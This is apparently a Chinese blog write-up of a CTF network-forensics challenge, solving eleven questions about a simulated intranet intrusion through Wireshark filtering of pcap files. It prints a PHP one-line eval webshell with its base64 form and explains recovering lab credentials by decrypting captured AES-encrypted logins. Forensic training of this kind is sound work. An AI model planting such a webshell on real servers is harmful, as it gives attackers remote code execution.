安恒8月月赛多了个流量包分析,很好,铁三之后,很久没训练了,去玩玩呗。玩到比赛结束,不算很难,但说个实在话,分配的关卡有点不合理(给了两个vpn的包,只考一题,无语)。哦,对了,内附流量包下载链接。
先给个数据包下载地址:

题目背景

总关卡
某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器:某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可):某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么:某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少:某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么:某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@#某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password):某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn,ip是多少:
解题过程
1、黑客使用的扫描器:awvs
这题猜的,之后分析了下,不难,也算是送分题,进去翻翻流量包,浏览一下就有了,很多下面这种格式

2、黑客扫描到的登陆后台是(相对路径即可):/admin/login.php?rec=login
这题,更是送分题,打开数据包,过滤下http,86分组请求的网站目录即是答案

3、黑客使用了什么账号密码登陆了web后台(形式: username/password):admin/admin!@#pass123
这里开始,就有点坑了,因为刚开始开头就有一个302的重定向包,看了下,好像也没错,的确也是登录成功了

后面发现,不止有黑客的ip,还有其他的ip。通过大量404请求,判断是黑客在扫目录,确认了下黑客ip为192.168.94.59,http.response.code==302&&ip.addr==192.168.94.59过滤下,发现302的包不是很多,标记一下,找下就好啦
在最后一个response.code等于302的包找到了。所以,”人事”这个不是黑客登的,”admin“才是(大意了,果然,三个月没玩数据包生疏了)

4、黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==
这题,贼鸡儿坑。这题是放到最后才蒙出来的。浏览webone.pcap数据包的末尾,发现a.php有猫咪,但是死活找不到它是如何上传的,最后,无可奈何,既然有1234为传递值,构造了个一句话木马:<?php @eval($_POST[1234]);?> ,然后提交base64编码,过了!过了!……..

赛后仔细找了找,找到了 ,但是非常奇怪,为什么这个出现在tcp流里面,我在http流里面压根没找到这个html,过滤语句tcp contains "<?php @eval"(如果以后http不行,那就试试tcp,可能是tcp重传的原因,导致http中没追踪到)

下面是手动筛选tcp流的方式

5、黑客在robots.txt中找到的flag是什么:87b7cb79481f317bde90c116cf36084b
浏览webone.pcap数据包的末尾,查看众多a.php的执行命令的响应即可找到答案。


6、黑客找到的数据库密码是多少:e667jUPvJjXHvEUv
依旧浏览webone.pcap数据包的末尾,查看下响应的包,即可找到答案


7、黑客在数据库中找到的hash_code是什么:d1c029893df40cb0f47bcf8f1c3c17ac
接着打开webtwo.pcap数据包,查看下前面几个mysql请求和响应,即可找到答案


8、:黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@
这里有了点小技巧,直接将这个邮箱化为相应的字符串16进制值,直接查找


然后MD5解密下,得到答案

9、被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:10.3.3.100
这里有回到了webone.pcap数据包,依旧浏览webone.pcap数据包的末尾,查看下响应的包,即可找到答案

10、黑客使用了什么账号登陆了mail系统(形式: username/password):admin/admin!@#pass123
这题需要看mailtwo.pcap和mailtwo1.pcap两个数据包。
首先在mailtwo.pcap中过滤http,序号3的Cookie中就发现 login_name=wenwenni字段,并且是action=logout。
继续跟进,发现下一个序号是28分组,又到了登陆界面的35分组,在其中发现了密码的加密函数:

取出来发现是AES的CBC加密,填充格式为ZeroPadding,密钥为字符串1234567812345678的hash值,偏移量为1234567812345678
1 | var key_hash = CryptoJS.MD5('1234567812345678'); |
因刚退出,所以是根据cookie中的信息登陆的,在下一请求42分组对应的45分组中出现{"success":true},表示登陆成功。

既然如此,我们使用(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59过滤一下,显示出post请求及成功的返回结果,l浏览一下发现是在爆破,并且到mailtwo.pcap的最后也未爆破成功。相同的过滤条件上在mailtwo1.pcap上试试,发现几条数据,从后往前看,发现18152是登陆成功的返回结果,那对应的17126则就是正确的加密后的密码。

那么解密网址进行aes解密即可得到admin账号的密码。此题最终答案即为:admin/admin!@#PASS123

此题,据说还有一种方法:社工。但是个人认为并不合理,此题答案跟第三题答案碰巧一样罢了,因为两个关卡的源服务器ip并不一样。
11、黑客获得的vpn,ip是多少:10.3.4.3
这题其实只需要vpn的第一个包就行了,百度学习一波vpn包相关协议,收益匪浅(吐槽下,安恒的直播课真的需要讲点干货,别为了解题而解题啊,让人家直接去一个一个试内网的ip,这不是很好吧)

这里留两个链接供参考学习:
结语
数据包分析还是很有意思的,个人计划着来一波数据协议的实验分析,可能会有点复杂,但是其中的乐趣也是无穷,有兴趣的小伙伴请联系我,一起学习!